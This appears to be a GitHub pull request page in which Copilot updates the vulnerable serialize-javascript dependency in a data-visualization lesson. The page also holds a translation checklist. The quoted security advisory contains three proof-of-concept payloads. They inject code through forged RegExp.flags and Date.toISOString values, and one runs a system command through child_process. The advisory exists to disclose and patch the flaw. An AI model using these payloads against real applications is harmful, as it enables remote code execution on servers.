[Lesson 13] Update vulnerable serialize-javascript dependency

[Copilot]

Track translation progress by opening a draft PR using this template and checking off the translations completed

Each lesson includes a translation of the README.md and the Assignment.md file, if available. Only mark the lesson complete if both those files are translated per lesson, please.

• 1

• 1-1

• 1-2

• 1-3

• 2

• 2-1

• 2-2

• 2-3

• 2-4

• 3

• 3-1

• 3-2

• 3-3

• 4

• 4-1

• 5

• 5-1

• 5-2

• 5-3

• 6

• 6-1

• 6-2

• 6-3

• 6-4

• 6-5

• 6-6

• 7

• 7-1

• 7-2

• 7-3

• 7-4

• Quiz (add a file in the quiz-app with all localizations)

serialize-javascript@6.0.2 permits code injection through forged RegExp.flags and Date.toISOString() values.

• Dependency update

  • Override the transitive dependency to 7.0.5.
  • Regenerate the npm lockfile.
  • Use 7.0.5 because 7.0.3–7.0.4 are affected by the newer GHSA-qj8w-gfj5-8c6v advisory.

• Reachability Assessment — High confidence

  • Application code does not import serialize-javascript, call serialize(), or evaluate its output.
  • Usage is limited to Vue CLI build-time plugins without attacker-controlled RegExp or Date inputs.
  • The vulnerable path is not actively exposed; the update primarily satisfies dependency vulnerability scanning.

Original prompt

---

This section details the Dependabot vulnerability alert you should resolve

<alert_title>Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()</alert_title>
<alert_description>### Impact

The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.

While RegExp.source is sanitized, RegExp.flags is interpolated directly into the generated output without escaping. A similar issue exists in Date.prototype.toISOString().

If an attacker can control the input object passed to serialize(), they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via eval, new Function, or <script> tags), the injected code executes.

const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
  get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!
#h2. PoC 2: Code Injection via Date.toISOString()

const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!
#h2. PoC 3: Remote Code Execution

const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
  get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command

Patches

The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3</alert_description>

high
GHSA-5c6j-r48x-rmvq
serialize-javascript
npm
<vulnerable_versions>6.0.2</vulnerable_versions>
<patched_version>7.0.3</patched_version>
<manifest_path>3-Data-Visualization/13-meaningful-visualizations/starter/package-lock.json</manifest_path>

https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-5c6j-r48x-rmvq https://nvd.nist.gov/vuln/detail/CVE-2020-7660 https://github.com/yahoo/serialize-javascript/commit/2e609d0a9f4f5b097f0945af88bd45b9c7fb48d9 https://github.com/advisories/GHSA-hxcc-f52p-wc94 https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3 https://github.com/advisories/GHSA-5c6j-r48x-rmvq

<task_instructions>Resolve this alert by updating the affected package to a non-vulnerable version. Prefer the lowest non-vulnerable version (see the patched_version field above) over the latest to minimize breaking changes. Include a Reachability Assessment section in the PR description. Review the alert_description field to understand which APIs, features, or configurations are affected, then search the codebase for usage of those specific items. If the vulnerable code path is reachable, explain how (which files, APIs, or call sites use the affected functionality) and note that the codebase is actively exposed to this vulnerability. If the vulnerable code path is not reachable, explain why (e.g. the affected API is never called, the vulnerable configuration is not used) and note that the update is primarily to satisfy vulnerability scanners rather than to address an active risk. If the advisory is too vague to determine reachability (e.g. 'improper input validation' with no specific API named), state that reachability could not be determined and explain why. Include a confidence level in the reachability assessment (e.g. high confidence if the advisory names a specific API and you confirmed it is or is not called, low confidence if the usage is indirect and hard to trace). If no patched version is available, check the alert_description field for a Workarounds section — the advisory may ...

• Resolves microsoft/Data-Science-For-Beginners alert Bump ssri from 6.0.1 to 6.0.2 in /3-Data-Visualization/13-meaningful-visualizations/starter #347

[Copilot]

Pull request overview

This PR addresses a Dependabot security alert in the Lesson 13 “meaningful-visualizations” starter by overriding the transitive serialize-javascript dependency to a patched release and regenerating the npm lockfile to reflect the updated resolution.

Changes:

• Add an npm overrides entry forcing serialize-javascript to 7.0.5.
• Regenerate package-lock.json so the dependency graph resolves serialize-javascript to 7.0.5 (and removes now-unneeded transitive deps like randombytes).

Show a summary per file

File	Description
3-Data-Visualization/13-meaningful-visualizations/starter/package.json	Adds an overrides pin for serialize-javascript@7.0.5 to remediate the vulnerability.
3-Data-Visualization/13-meaningful-visualizations/starter/package-lock.json	Updates the resolved serialize-javascript package to 7.0.5 and reflects associated lockfile graph changes (including its engines constraint).

Review details

Tip

Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Files not reviewed (1)

• 3-Data-Visualization/13-meaningful-visualizations/starter/package-lock.json: Generated file

• Files reviewed: 1/2 changed files
• Comments generated: 2
• Review effort level: Low

[Copilot]

Review details

Files not reviewed (1)

• 3-Data-Visualization/13-meaningful-visualizations/starter/package-lock.json: Generated file

• Files reviewed: 2/3 changed files
• Comments generated: 3
• Review effort level: Low